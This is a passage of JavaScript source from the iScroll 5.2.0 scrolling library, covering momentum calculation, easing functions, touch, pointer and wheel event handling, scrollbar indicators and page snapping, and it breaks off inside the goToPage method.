return window.MSPointerEvent ?
'MSPointer' + pointerEvent.charAt(7).toUpperCase() + pointerEvent.substr(8):
pointerEvent;
};
me.momentum = function (current, start, time, lowerMargin, wrapperSize, deceleration) {
var distance = current - start,
speed = Math.abs(distance) / time,
destination,
duration;
deceleration = deceleration === undefined ? 0.0006 : deceleration;
destination = current + ( speed * speed ) / ( 2 * deceleration ) * ( distance < 0 ? -1 : 1 );
duration = speed / deceleration;
if ( destination < lowerMargin ) {
destination = wrapperSize ? lowerMargin - ( wrapperSize / 2.5 * ( speed / 8 ) ) : lowerMargin;
distance = Math.abs(destination - current);
duration = distance / speed;
} else if ( destination > 0 ) {
destination = wrapperSize ? wrapperSize / 2.5 * ( speed / 8 ) : 0;
distance = Math.abs(current) + destination;
duration = distance / speed;
}
return {
destination: Math.round(destination),
duration: duration
};
};
var _transform = _prefixStyle('transform');
me.extend(me, {
hasTransform: _transform !== false,
hasPerspective: _prefixStyle('perspective') in _elementStyle,
hasTouch: 'ontouchstart' in window,
hasPointer: !!(window.PointerEvent || window.MSPointerEvent), // IE10 is prefixed
hasTransition: _prefixStyle('transition') in _elementStyle
});
/*
This should find all Android browsers lower than build 535.19 (both stock browser and webview)
- galaxy S2 is ok
- 2.3.6 : `AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1`
- 4.0.4 : `AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30`
- galaxy S3 is badAndroid (stock brower, webview)
`AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30`
- galaxy S4 is badAndroid (stock brower, webview)
`AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30`
- galaxy S5 is OK
`AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36 (Chrome/)`
- galaxy S6 is OK
`AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36 (Chrome/)`
*/
me.isBadAndroid = (function() {
var appVersion = window.navigator.appVersion;
// Android browser is not a chrome browser.
if (/Android/.test(appVersion) && !(/Chrome\/\d/.test(appVersion))) {
var safariVersion = appVersion.match(/Safari\/(\d+.\d)/);
if(safariVersion && typeof safariVersion === "object" && safariVersion.length >= 2) {
return parseFloat(safariVersion[1]) < 535.19;
} else {
return true;
}
} else {
return false;
}
})();
me.extend(me.style = {}, {
transform: _transform,
transitionTimingFunction: _prefixStyle('transitionTimingFunction'),
transitionDuration: _prefixStyle('transitionDuration'),
transitionDelay: _prefixStyle('transitionDelay'),
transformOrigin: _prefixStyle('transformOrigin')
});
me.hasClass = function (e, c) {
var re = new RegExp("(^|\\s)" + c + "(\\s|$)");
return re.test(e.className);
};
me.addClass = function (e, c) {
if ( me.hasClass(e, c) ) {
return;
}
var newclass = e.className.split(' ');
newclass.push(c);
e.className = newclass.join(' ');
};
me.removeClass = function (e, c) {
if ( !me.hasClass(e, c) ) {
return;
}
var re = new RegExp("(^|\\s)" + c + "(\\s|$)", 'g');
e.className = e.className.replace(re, ' ');
};
me.offset = function (el) {
var left = -el.offsetLeft,
top = -el.offsetTop;
// jshint -W084
while (el = el.offsetParent) {
left -= el.offsetLeft;
top -= el.offsetTop;
}
// jshint +W084
return {
left: left,
top: top
};
};
me.preventDefaultException = function (el, exceptions) {
for ( var i in exceptions ) {
if ( exceptions[i].test(el[i]) ) {
return true;
}
}
return false;
};
me.extend(me.eventType = {}, {
touchstart: 1,
touchmove: 1,
touchend: 1,
mousedown: 2,
mousemove: 2,
mouseup: 2,
pointerdown: 3,
pointermove: 3,
pointerup: 3,
MSPointerDown: 3,
MSPointerMove: 3,
MSPointerUp: 3
});
me.extend(me.ease = {}, {
quadratic: {
style: 'cubic-bezier(0.25, 0.46, 0.45, 0.94)',
fn: function (k) {
return k * ( 2 - k );
}
},
circular: {
style: 'cubic-bezier(0.1, 0.57, 0.1, 1)', // Not properly "circular" but this looks better, it should be (0.075, 0.82, 0.165, 1)
fn: function (k) {
return Math.sqrt( 1 - ( --k * k ) );
}
},
back: {
style: 'cubic-bezier(0.175, 0.885, 0.32, 1.275)',
fn: function (k) {
var b = 4;
return ( k = k - 1 ) * k * ( ( b + 1 ) * k + b ) + 1;
}
},
bounce: {
style: '',
fn: function (k) {
if ( ( k /= 1 ) < ( 1 / 2.75 ) ) {
return 7.5625 * k * k;
} else if ( k < ( 2 / 2.75 ) ) {
return 7.5625 * ( k -= ( 1.5 / 2.75 ) ) * k + 0.75;
} else if ( k < ( 2.5 / 2.75 ) ) {
return 7.5625 * ( k -= ( 2.25 / 2.75 ) ) * k + 0.9375;
} else {
return 7.5625 * ( k -= ( 2.625 / 2.75 ) ) * k + 0.984375;
}
}
},
elastic: {
style: '',
fn: function (k) {
var f = 0.22,
e = 0.4;
if ( k === 0 ) { return 0; }
if ( k == 1 ) { return 1; }
return ( e * Math.pow( 2, - 10 * k ) * Math.sin( ( k - f / 4 ) * ( 2 * Math.PI ) / f ) + 1 );
}
}
});
me.tap = function (e, eventName) {
var ev = document.createEvent('Event');
ev.initEvent(eventName, true, true);
ev.pageX = e.pageX;
ev.pageY = e.pageY;
e.target.dispatchEvent(ev);
};
me.click = function (e) {
var target = e.target,
ev;
if ( !(/(SELECT|INPUT|TEXTAREA)/i).test(target.tagName) ) {
// https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent/initMouseEvent
// initMouseEvent is deprecated.
ev = document.createEvent(window.MouseEvent ? 'MouseEvents' : 'Event');
ev.initEvent('click', true, true);
ev.view = e.view || window;
ev.detail = 1;
ev.screenX = target.screenX || 0;
ev.screenY = target.screenY || 0;
ev.clientX = target.clientX || 0;
ev.clientY = target.clientY || 0;
ev.ctrlKey = !!e.ctrlKey;
ev.altKey = !!e.altKey;
ev.shiftKey = !!e.shiftKey;
ev.metaKey = !!e.metaKey;
ev.button = 0;
ev.relatedTarget = null;
ev._constructed = true;
target.dispatchEvent(ev);
}
};
return me;
})();
function IScroll (el, options) {
this.wrapper = typeof el == 'string' ? document.querySelector(el) : el;
this.scroller = this.wrapper.children[0];
this.scrollerStyle = this.scroller.style; // cache style for better performance
this.options = {
resizeScrollbars: true,
mouseWheelSpeed: 20,
snapThreshold: 0.334,
// INSERT POINT: OPTIONS
disablePointer : !utils.hasPointer,
disableTouch : utils.hasPointer || !utils.hasTouch,
disableMouse : utils.hasPointer || utils.hasTouch,
startX: 0,
startY: 0,
scrollY: true,
directionLockThreshold: 5,
momentum: true,
bounce: true,
bounceTime: 600,
bounceEasing: '',
preventDefault: true,
preventDefaultException: { tagName: /^(INPUT|TEXTAREA|BUTTON|SELECT)$/ },
HWCompositing: true,
useTransition: true,
useTransform: true,
bindToWrapper: typeof window.onmousedown === "undefined"
};
for ( var i in options ) {
this.options[i] = options[i];
}
// Normalize options
this.translateZ = this.options.HWCompositing && utils.hasPerspective ? ' translateZ(0)' : '';
this.options.useTransition = utils.hasTransition && this.options.useTransition;
this.options.useTransform = utils.hasTransform && this.options.useTransform;
this.options.eventPassthrough = this.options.eventPassthrough === true ? 'vertical' : this.options.eventPassthrough;
this.options.preventDefault = !this.options.eventPassthrough && this.options.preventDefault;
// If you want eventPassthrough I have to lock one of the axes
this.options.scrollY = this.options.eventPassthrough == 'vertical' ? false : this.options.scrollY;
this.options.scrollX = this.options.eventPassthrough == 'horizontal' ? false : this.options.scrollX;
// With eventPassthrough we also need lockDirection mechanism
this.options.freeScroll = this.options.freeScroll && !this.options.eventPassthrough;
this.options.directionLockThreshold = this.options.eventPassthrough ? 0 : this.options.directionLockThreshold;
this.options.bounceEasing = typeof this.options.bounceEasing == 'string' ? utils.ease[this.options.bounceEasing] || utils.ease.circular : this.options.bounceEasing;
this.options.resizePolling = this.options.resizePolling === undefined ? 60 : this.options.resizePolling;
if ( this.options.tap === true ) {
this.options.tap = 'tap';
}
// https://github.com/cubiq/iscroll/issues/1029
if (!this.options.useTransition && !this.options.useTransform) {
if(!(/relative|absolute/i).test(this.scrollerStyle.position)) {
this.scrollerStyle.position = "relative";
}
}
if ( this.options.shrinkScrollbars == 'scale' ) {
this.options.useTransition = false;
}
this.options.invertWheelDirection = this.options.invertWheelDirection ? -1 : 1;
// INSERT POINT: NORMALIZATION
// Some defaults
this.x = 0;
this.y = 0;
this.directionX = 0;
this.directionY = 0;
this._events = {};
// INSERT POINT: DEFAULTS
this._init();
this.refresh();
this.scrollTo(this.options.startX, this.options.startY);
this.enable();
}
IScroll.prototype = {
version: '5.2.0',
_init: function () {
this._initEvents();
if ( this.options.scrollbars || this.options.indicators ) {
this._initIndicators();
}
if ( this.options.mouseWheel ) {
this._initWheel();
}
if ( this.options.snap ) {
this._initSnap();
}
if ( this.options.keyBindings ) {
this._initKeys();
}
// INSERT POINT: _init
},
destroy: function () {
this._initEvents(true);
clearTimeout(this.resizeTimeout);
this.resizeTimeout = null;
this._execEvent('destroy');
},
_transitionEnd: function (e) {
if ( e.target != this.scroller || !this.isInTransition ) {
return;
}
this._transitionTime();
if ( !this.resetPosition(this.options.bounceTime) ) {
this.isInTransition = false;
this._execEvent('scrollEnd');
}
},
_start: function (e) {
// React to left mouse button only
if ( utils.eventType[e.type] != 1 ) {
// for button property
// http://unixpapa.com/js/mouse.html
var button;
if (!e.which) {
/* IE case */
button = (e.button < 2) ? 0 :
((e.button == 4) ? 1 : 2);
} else {
/* All others */
button = e.button;
}
if ( button !== 0 ) {
return;
}
}
if ( !this.enabled || (this.initiated && utils.eventType[e.type] !== this.initiated) ) {
return;
}
if ( this.options.preventDefault && !utils.isBadAndroid && !utils.preventDefaultException(e.target, this.options.preventDefaultException) ) {
e.preventDefault();
}
var point = e.touches ? e.touches[0] : e,
pos;
this.initiated = utils.eventType[e.type];
this.moved = false;
this.distX = 0;
this.distY = 0;
this.directionX = 0;
this.directionY = 0;
this.directionLocked = 0;
this.startTime = utils.getTime();
if ( this.options.useTransition && this.isInTransition ) {
this._transitionTime();
this.isInTransition = false;
pos = this.getComputedPosition();
this._translate(Math.round(pos.x), Math.round(pos.y));
this._execEvent('scrollEnd');
} else if ( !this.options.useTransition && this.isAnimating ) {
this.isAnimating = false;
this._execEvent('scrollEnd');
}
this.startX = this.x;
this.startY = this.y;
this.absStartX = this.x;
this.absStartY = this.y;
this.pointX = point.pageX;
this.pointY = point.pageY;
this._execEvent('beforeScrollStart');
},
_move: function (e) {
if ( !this.enabled || utils.eventType[e.type] !== this.initiated ) {
return;
}
if ( this.options.preventDefault ) { // increases performance on Android? TODO: check!
e.preventDefault();
}
var point = e.touches ? e.touches[0] : e,
deltaX = point.pageX - this.pointX,
deltaY = point.pageY - this.pointY,
timestamp = utils.getTime(),
newX, newY,
absDistX, absDistY;
this.pointX = point.pageX;
this.pointY = point.pageY;
this.distX += deltaX;
this.distY += deltaY;
absDistX = Math.abs(this.distX);
absDistY = Math.abs(this.distY);
// We need to move at least 10 pixels for the scrolling to initiate
if ( timestamp - this.endTime > 300 && (absDistX < 10 && absDistY < 10) ) {
return;
}
// If you are scrolling in one direction lock the other
if ( !this.directionLocked && !this.options.freeScroll ) {
if ( absDistX > absDistY + this.options.directionLockThreshold ) {
this.directionLocked = 'h'; // lock horizontally
} else if ( absDistY >= absDistX + this.options.directionLockThreshold ) {
this.directionLocked = 'v'; // lock vertically
} else {
this.directionLocked = 'n'; // no lock
}
}
if ( this.directionLocked == 'h' ) {
if ( this.options.eventPassthrough == 'vertical' ) {
e.preventDefault();
} else if ( this.options.eventPassthrough == 'horizontal' ) {
this.initiated = false;
return;
}
deltaY = 0;
} else if ( this.directionLocked == 'v' ) {
if ( this.options.eventPassthrough == 'horizontal' ) {
e.preventDefault();
} else if ( this.options.eventPassthrough == 'vertical' ) {
this.initiated = false;
return;
}
deltaX = 0;
}
deltaX = this.hasHorizontalScroll ? deltaX : 0;
deltaY = this.hasVerticalScroll ? deltaY : 0;
newX = this.x + deltaX;
newY = this.y + deltaY;
// Slow down if outside of the boundaries
if ( newX > 0 || newX < this.maxScrollX ) {
newX = this.options.bounce ? this.x + deltaX / 3 : newX > 0 ? 0 : this.maxScrollX;
}
if ( newY > 0 || newY < this.maxScrollY ) {
newY = this.options.bounce ? this.y + deltaY / 3 : newY > 0 ? 0 : this.maxScrollY;
}
this.directionX = deltaX > 0 ? -1 : deltaX < 0 ? 1 : 0;
this.directionY = deltaY > 0 ? -1 : deltaY < 0 ? 1 : 0;
if ( !this.moved ) {
this._execEvent('scrollStart');
}
this.moved = true;
this._translate(newX, newY);
/* REPLACE START: _move */
if ( timestamp - this.startTime > 300 ) {
this.startTime = timestamp;
this.startX = this.x;
this.startY = this.y;
}
/* REPLACE END: _move */
},
_end: function (e) {
if ( !this.enabled || utils.eventType[e.type] !== this.initiated ) {
return;
}
if ( this.options.preventDefault && !utils.preventDefaultException(e.target, this.options.preventDefaultException) ) {
e.preventDefault();
}
var point = e.changedTouches ? e.changedTouches[0] : e,
momentumX,
momentumY,
duration = utils.getTime() - this.startTime,
newX = Math.round(this.x),
newY = Math.round(this.y),
distanceX = Math.abs(newX - this.startX),
distanceY = Math.abs(newY - this.startY),
time = 0,
easing = '';
this.isInTransition = 0;
this.initiated = 0;
this.endTime = utils.getTime();
// reset if we are outside of the boundaries
if ( this.resetPosition(this.options.bounceTime) ) {
return;
}
this.scrollTo(newX, newY); // ensures that the last position is rounded
// we scrolled less than 10 pixels
if ( !this.moved ) {
if ( this.options.tap ) {
utils.tap(e, this.options.tap);
}
if ( this.options.click ) {
utils.click(e);
}
this._execEvent('scrollCancel');
return;
}
if ( this._events.flick && duration < 200 && distanceX < 100 && distanceY < 100 ) {
this._execEvent('flick');
return;
}
// start momentum animation if needed
if ( this.options.momentum && duration < 300 ) {
momentumX = this.hasHorizontalScroll ? utils.momentum(this.x, this.startX, duration, this.maxScrollX, this.options.bounce ? this.wrapperWidth : 0, this.options.deceleration) : { destination: newX, duration: 0 };
momentumY = this.hasVerticalScroll ? utils.momentum(this.y, this.startY, duration, this.maxScrollY, this.options.bounce ? this.wrapperHeight : 0, this.options.deceleration) : { destination: newY, duration: 0 };
newX = momentumX.destination;
newY = momentumY.destination;
time = Math.max(momentumX.duration, momentumY.duration);
this.isInTransition = 1;
}
if ( this.options.snap ) {
var snap = this._nearestSnap(newX, newY);
this.currentPage = snap;
time = this.options.snapSpeed || Math.max(
Math.max(
Math.min(Math.abs(newX - snap.x), 1000),
Math.min(Math.abs(newY - snap.y), 1000)
), 300);
newX = snap.x;
newY = snap.y;
this.directionX = 0;
this.directionY = 0;
easing = this.options.bounceEasing;
}
// INSERT POINT: _end
if ( newX != this.x || newY != this.y ) {
// change easing function when scroller goes out of the boundaries
if ( newX > 0 || newX < this.maxScrollX || newY > 0 || newY < this.maxScrollY ) {
easing = utils.ease.quadratic;
}
this.scrollTo(newX, newY, time, easing);
return;
}
this._execEvent('scrollEnd');
},
_resize: function () {
var that = this;
clearTimeout(this.resizeTimeout);
this.resizeTimeout = setTimeout(function () {
that.refresh();
}, this.options.resizePolling);
},
resetPosition: function (time) {
var x = this.x,
y = this.y;
time = time || 0;
if ( !this.hasHorizontalScroll || this.x > 0 ) {
x = 0;
} else if ( this.x < this.maxScrollX ) {
x = this.maxScrollX;
}
if ( !this.hasVerticalScroll || this.y > 0 ) {
y = 0;
} else if ( this.y < this.maxScrollY ) {
y = this.maxScrollY;
}
if ( x == this.x && y == this.y ) {
return false;
}
this.scrollTo(x, y, time, this.options.bounceEasing);
return true;
},
disable: function () {
this.enabled = false;
},
enable: function () {
this.enabled = true;
},
refresh: function () {
var rf = this.wrapper.offsetHeight; // Force reflow
this.wrapperWidth = this.wrapper.clientWidth;
this.wrapperHeight = this.wrapper.clientHeight;
/* REPLACE START: refresh */
this.scrollerWidth = this.scroller.offsetWidth;
this.scrollerHeight = this.scroller.offsetHeight;
this.maxScrollX = this.wrapperWidth - this.scrollerWidth;
this.maxScrollY = this.wrapperHeight - this.scrollerHeight;
/* REPLACE END: refresh */
this.hasHorizontalScroll = this.options.scrollX && this.maxScrollX < 0;
this.hasVerticalScroll = this.options.scrollY && this.maxScrollY < 0;
if ( !this.hasHorizontalScroll ) {
this.maxScrollX = 0;
this.scrollerWidth = this.wrapperWidth;
}
if ( !this.hasVerticalScroll ) {
this.maxScrollY = 0;
this.scrollerHeight = this.wrapperHeight;
}
this.endTime = 0;
this.directionX = 0;
this.directionY = 0;
this.wrapperOffset = utils.offset(this.wrapper);
this._execEvent('refresh');
this.resetPosition();
// INSERT POINT: _refresh
},
on: function (type, fn) {
if ( !this._events[type] ) {
this._events[type] = [];
}
this._events[type].push(fn);
},
off: function (type, fn) {
if ( !this._events[type] ) {
return;
}
var index = this._events[type].indexOf(fn);
if ( index > -1 ) {
this._events[type].splice(index, 1);
}
},
_execEvent: function (type) {
if ( !this._events[type] ) {
return;
}
var i = 0,
l = this._events[type].length;
if ( !l ) {
return;
}
for ( ; i < l; i++ ) {
this._events[type][i].apply(this, [].slice.call(arguments, 1));
}
},
scrollBy: function (x, y, time, easing) {
x = this.x + x;
y = this.y + y;
time = time || 0;
this.scrollTo(x, y, time, easing);
},
scrollTo: function (x, y, time, easing) {
easing = easing || utils.ease.circular;
this.isInTransition = this.options.useTransition && time > 0;
var transitionType = this.options.useTransition && easing.style;
if ( !time || transitionType ) {
if(transitionType) {
this._transitionTimingFunction(easing.style);
this._transitionTime(time);
}
this._translate(x, y);
} else {
this._animate(x, y, time, easing.fn);
}
},
scrollToElement: function (el, time, offsetX, offsetY, easing) {
el = el.nodeType ? el : this.scroller.querySelector(el);
if ( !el ) {
return;
}
var pos = utils.offset(el);
pos.left -= this.wrapperOffset.left;
pos.top -= this.wrapperOffset.top;
// if offsetX/Y are true we center the element to the screen
if ( offsetX === true ) {
offsetX = Math.round(el.offsetWidth / 2 - this.wrapper.offsetWidth / 2);
}
if ( offsetY === true ) {
offsetY = Math.round(el.offsetHeight / 2 - this.wrapper.offsetHeight / 2);
}
pos.left -= offsetX || 0;
pos.top -= offsetY || 0;
pos.left = pos.left > 0 ? 0 : pos.left < this.maxScrollX ? this.maxScrollX : pos.left;
pos.top = pos.top > 0 ? 0 : pos.top < this.maxScrollY ? this.maxScrollY : pos.top;
time = time === undefined || time === null || time === 'auto' ? Math.max(Math.abs(this.x-pos.left), Math.abs(this.y-pos.top)) : time;
this.scrollTo(pos.left, pos.top, time, easing);
},
_transitionTime: function (time) {
if (!this.options.useTransition) {
return;
}
time = time || 0;
var durationProp = utils.style.transitionDuration;
if(!durationProp) {
return;
}
this.scrollerStyle[durationProp] = time + 'ms';
if ( !time && utils.isBadAndroid ) {
this.scrollerStyle[durationProp] = '0.0001ms';
// remove 0.0001ms
var self = this;
rAF(function() {
if(self.scrollerStyle[durationProp] === '0.0001ms') {
self.scrollerStyle[durationProp] = '0s';
}
});
}
if ( this.indicators ) {
for ( var i = this.indicators.length; i--; ) {
this.indicators[i].transitionTime(time);
}
}
// INSERT POINT: _transitionTime
},
_transitionTimingFunction: function (easing) {
this.scrollerStyle[utils.style.transitionTimingFunction] = easing;
if ( this.indicators ) {
for ( var i = this.indicators.length; i--; ) {
this.indicators[i].transitionTimingFunction(easing);
}
}
// INSERT POINT: _transitionTimingFunction
},
_translate: function (x, y) {
if ( this.options.useTransform ) {
/* REPLACE START: _translate */
this.scrollerStyle[utils.style.transform] = 'translate(' + x + 'px,' + y + 'px)' + this.translateZ;
/* REPLACE END: _translate */
} else {
x = Math.round(x);
y = Math.round(y);
this.scrollerStyle.left = x + 'px';
this.scrollerStyle.top = y + 'px';
}
this.x = x;
this.y = y;
if ( this.indicators ) {
for ( var i = this.indicators.length; i--; ) {
this.indicators[i].updatePosition();
}
}
// INSERT POINT: _translate
},
_initEvents: function (remove) {
var eventType = remove ? utils.removeEvent : utils.addEvent,
target = this.options.bindToWrapper ? this.wrapper : window;
eventType(window, 'orientationchange', this);
eventType(window, 'resize', this);
if ( this.options.click ) {
eventType(this.wrapper, 'click', this, true);
}
if ( !this.options.disableMouse ) {
eventType(this.wrapper, 'mousedown', this);
eventType(target, 'mousemove', this);
eventType(target, 'mousecancel', this);
eventType(target, 'mouseup', this);
}
if ( utils.hasPointer && !this.options.disablePointer ) {
eventType(this.wrapper, utils.prefixPointerEvent('pointerdown'), this);
eventType(target, utils.prefixPointerEvent('pointermove'), this);
eventType(target, utils.prefixPointerEvent('pointercancel'), this);
eventType(target, utils.prefixPointerEvent('pointerup'), this);
}
if ( utils.hasTouch && !this.options.disableTouch ) {
eventType(this.wrapper, 'touchstart', this);
eventType(target, 'touchmove', this);
eventType(target, 'touchcancel', this);
eventType(target, 'touchend', this);
}
eventType(this.scroller, 'transitionend', this);
eventType(this.scroller, 'webkitTransitionEnd', this);
eventType(this.scroller, 'oTransitionEnd', this);
eventType(this.scroller, 'MSTransitionEnd', this);
},
getComputedPosition: function () {
var matrix = window.getComputedStyle(this.scroller, null),
x, y;
if ( this.options.useTransform ) {
matrix = matrix[utils.style.transform].split(')')[0].split(', ');
x = +(matrix[12] || matrix[4]);
y = +(matrix[13] || matrix[5]);
} else {
x = +matrix.left.replace(/[^-\d.]/g, '');
y = +matrix.top.replace(/[^-\d.]/g, '');
}
return { x: x, y: y };
},
_initIndicators: function () {
var interactive = this.options.interactiveScrollbars,
customStyle = typeof this.options.scrollbars != 'string',
indicators = [],
indicator;
var that = this;
this.indicators = [];
if ( this.options.scrollbars ) {
// Vertical scrollbar
if ( this.options.scrollY ) {
indicator = {
el: createDefaultScrollbar('v', interactive, this.options.scrollbars),
interactive: interactive,
defaultScrollbars: true,
customStyle: customStyle,
resize: this.options.resizeScrollbars,
shrink: this.options.shrinkScrollbars,
fade: this.options.fadeScrollbars,
listenX: false
};
this.wrapper.appendChild(indicator.el);
indicators.push(indicator);
}
// Horizontal scrollbar
if ( this.options.scrollX ) {
indicator = {
el: createDefaultScrollbar('h', interactive, this.options.scrollbars),
interactive: interactive,
defaultScrollbars: true,
customStyle: customStyle,
resize: this.options.resizeScrollbars,
shrink: this.options.shrinkScrollbars,
fade: this.options.fadeScrollbars,
listenY: false
};
this.wrapper.appendChild(indicator.el);
indicators.push(indicator);
}
}
if ( this.options.indicators ) {
// TODO: check concat compatibility
indicators = indicators.concat(this.options.indicators);
}
for ( var i = indicators.length; i--; ) {
this.indicators.push( new Indicator(this, indicators[i]) );
}
// TODO: check if we can use array.map (wide compatibility and performance issues)
function _indicatorsMap (fn) {
if (that.indicators) {
for ( var i = that.indicators.length; i--; ) {
fn.call(that.indicators[i]);
}
}
}
if ( this.options.fadeScrollbars ) {
this.on('scrollEnd', function () {
_indicatorsMap(function () {
this.fade();
});
});
this.on('scrollCancel', function () {
_indicatorsMap(function () {
this.fade();
});
});
this.on('scrollStart', function () {
_indicatorsMap(function () {
this.fade(1);
});
});
this.on('beforeScrollStart', function () {
_indicatorsMap(function () {
this.fade(1, true);
});
});
}
this.on('refresh', function () {
_indicatorsMap(function () {
this.refresh();
});
});
this.on('destroy', function () {
_indicatorsMap(function () {
this.destroy();
});
delete this.indicators;
});
},
_initWheel: function () {
utils.addEvent(this.wrapper, 'wheel', this);
utils.addEvent(this.wrapper, 'mousewheel', this);
utils.addEvent(this.wrapper, 'DOMMouseScroll', this);
this.on('destroy', function () {
clearTimeout(this.wheelTimeout);
this.wheelTimeout = null;
utils.removeEvent(this.wrapper, 'wheel', this);
utils.removeEvent(this.wrapper, 'mousewheel', this);
utils.removeEvent(this.wrapper, 'DOMMouseScroll', this);
});
},
_wheel: function (e) {
if ( !this.enabled ) {
return;
}
e.preventDefault();
var wheelDeltaX, wheelDeltaY,
newX, newY,
that = this;
if ( this.wheelTimeout === undefined ) {
that._execEvent('scrollStart');
}
// Execute the scrollEnd event after 400ms the wheel stopped scrolling
clearTimeout(this.wheelTimeout);
this.wheelTimeout = setTimeout(function () {
if(!that.options.snap) {
that._execEvent('scrollEnd');
}
that.wheelTimeout = undefined;
}, 400);
if ( 'deltaX' in e ) {
if (e.deltaMode === 1) {
wheelDeltaX = -e.deltaX * this.options.mouseWheelSpeed;
wheelDeltaY = -e.deltaY * this.options.mouseWheelSpeed;
} else {
wheelDeltaX = -e.deltaX;
wheelDeltaY = -e.deltaY;
}
} else if ( 'wheelDeltaX' in e ) {
wheelDeltaX = e.wheelDeltaX / 120 * this.options.mouseWheelSpeed;
wheelDeltaY = e.wheelDeltaY / 120 * this.options.mouseWheelSpeed;
} else if ( 'wheelDelta' in e ) {
wheelDeltaX = wheelDeltaY = e.wheelDelta / 120 * this.options.mouseWheelSpeed;
} else if ( 'detail' in e ) {
wheelDeltaX = wheelDeltaY = -e.detail / 3 * this.options.mouseWheelSpeed;
} else {
return;
}
wheelDeltaX *= this.options.invertWheelDirection;
wheelDeltaY *= this.options.invertWheelDirection;
if ( !this.hasVerticalScroll ) {
wheelDeltaX = wheelDeltaY;
wheelDeltaY = 0;
}
if ( this.options.snap ) {
newX = this.currentPage.pageX;
newY = this.currentPage.pageY;
if ( wheelDeltaX > 0 ) {
newX--;
} else if ( wheelDeltaX < 0 ) {
newX++;
}
if ( wheelDeltaY > 0 ) {
newY--;
} else if ( wheelDeltaY < 0 ) {
newY++;
}
this.goToPage(newX, newY);
return;
}
newX = this.x + Math.round(this.hasHorizontalScroll ? wheelDeltaX : 0);
newY = this.y + Math.round(this.hasVerticalScroll ? wheelDeltaY : 0);
this.directionX = wheelDeltaX > 0 ? -1 : wheelDeltaX < 0 ? 1 : 0;
this.directionY = wheelDeltaY > 0 ? -1 : wheelDeltaY < 0 ? 1 : 0;
if ( newX > 0 ) {
newX = 0;
} else if ( newX < this.maxScrollX ) {
newX = this.maxScrollX;
}
if ( newY > 0 ) {
newY = 0;
} else if ( newY < this.maxScrollY ) {
newY = this.maxScrollY;
}
this.scrollTo(newX, newY, 0);
// INSERT POINT: _wheel
},
_initSnap: function () {
this.currentPage = {};
if ( typeof this.options.snap == 'string' ) {
this.options.snap = this.scroller.querySelectorAll(this.options.snap);
}
this.on('refresh', function () {
var i = 0, l,
m = 0, n,
cx, cy,
x = 0, y,
stepX = this.options.snapStepX || this.wrapperWidth,
stepY = this.options.snapStepY || this.wrapperHeight,
el;
this.pages = [];
if ( !this.wrapperWidth || !this.wrapperHeight || !this.scrollerWidth || !this.scrollerHeight ) {
return;
}
if ( this.options.snap === true ) {
cx = Math.round( stepX / 2 );
cy = Math.round( stepY / 2 );
while ( x > -this.scrollerWidth ) {
this.pages[i] = [];
l = 0;
y = 0;
while ( y > -this.scrollerHeight ) {
this.pages[i][l] = {
x: Math.max(x, this.maxScrollX),
y: Math.max(y, this.maxScrollY),
width: stepX,
height: stepY,
cx: x - cx,
cy: y - cy
};
y -= stepY;
l++;
}
x -= stepX;
i++;
}
} else {
el = this.options.snap;
l = el.length;
n = -1;
for ( ; i < l; i++ ) {
if ( i === 0 || el[i].offsetLeft <= el[i-1].offsetLeft ) {
m = 0;
n++;
}
if ( !this.pages[m] ) {
this.pages[m] = [];
}
x = Math.max(-el[i].offsetLeft, this.maxScrollX);
y = Math.max(-el[i].offsetTop, this.maxScrollY);
cx = x - Math.round(el[i].offsetWidth / 2);
cy = y - Math.round(el[i].offsetHeight / 2);
this.pages[m][n] = {
x: x,
y: y,
width: el[i].offsetWidth,
height: el[i].offsetHeight,
cx: cx,
cy: cy
};
if ( x > this.maxScrollX ) {
m++;
}
}
}
this.goToPage(this.currentPage.pageX || 0, this.currentPage.pageY || 0, 0);
// Update snap threshold if needed
if ( this.options.snapThreshold % 1 === 0 ) {
this.snapThresholdX = this.options.snapThreshold;
this.snapThresholdY = this.options.snapThreshold;
} else {
this.snapThresholdX = Math.round(this.pages[this.currentPage.pageX][this.currentPage.pageY].width * this.options.snapThreshold);
this.snapThresholdY = Math.round(this.pages[this.currentPage.pageX][this.currentPage.pageY].height * this.options.snapThreshold);
}
});
this.on('flick', function () {
var time = this.options.snapSpeed || Math.max(
Math.max(
Math.min(Math.abs(this.x - this.startX), 1000),
Math.min(Math.abs(this.y - this.startY), 1000)
), 300);
this.goToPage(
this.currentPage.pageX + this.directionX,
this.currentPage.pageY + this.directionY,
time
);
});
},
_nearestSnap: function (x, y) {
if ( !this.pages.length ) {
return { x: 0, y: 0, pageX: 0, pageY: 0 };
}
var i = 0,
l = this.pages.length,
m = 0;
// Check if we exceeded the snap threshold
if ( Math.abs(x - this.absStartX) < this.snapThresholdX &&
Math.abs(y - this.absStartY) < this.snapThresholdY ) {
return this.currentPage;
}
if ( x > 0 ) {
x = 0;
} else if ( x < this.maxScrollX ) {
x = this.maxScrollX;
}
if ( y > 0 ) {
y = 0;
} else if ( y < this.maxScrollY ) {
y = this.maxScrollY;
}
for ( ; i < l; i++ ) {
if ( x >= this.pages[i][0].cx ) {
x = this.pages[i][0].x;
break;
}
}
l = this.pages[i].length;
for ( ; m < l; m++ ) {
if ( y >= this.pages[0][m].cy ) {
y = this.pages[0][m].y;
break;
}
}
if ( i == this.currentPage.pageX ) {
i += this.directionX;
if ( i < 0 ) {
i = 0;
} else if ( i >= this.pages.length ) {
i = this.pages.length - 1;
}
x = this.pages[i][0].x;
}
if ( m == this.currentPage.pageY ) {
m += this.directionY;
if ( m < 0 ) {
m = 0;
} else if ( m >= this.pages[0].length ) {
m = this.pages[0].length - 1;
}
y = this.pages[0][m].y;
}
return {
x: x,
y: y,
pageX: i,
pageY: m
};
},
goToPage: function (x, y, time, easing) {
easing = easing || this.options.bounceEasing;
if ( x >= this.pages.length ) {
x = this.pages.length - 1;
} else if ( x < 0 ) {
x = 0;
}
if ( y >= this.pages[x].length ) {
y = this.pages[x].length - 1;
} else if ( y < 0 ) {
y = 0;
}
var posX = this.pages[x][y].x,
posY = this.pages[x][y].y;
time = time === undefined ? this.options.snapSpeed || Math.max(
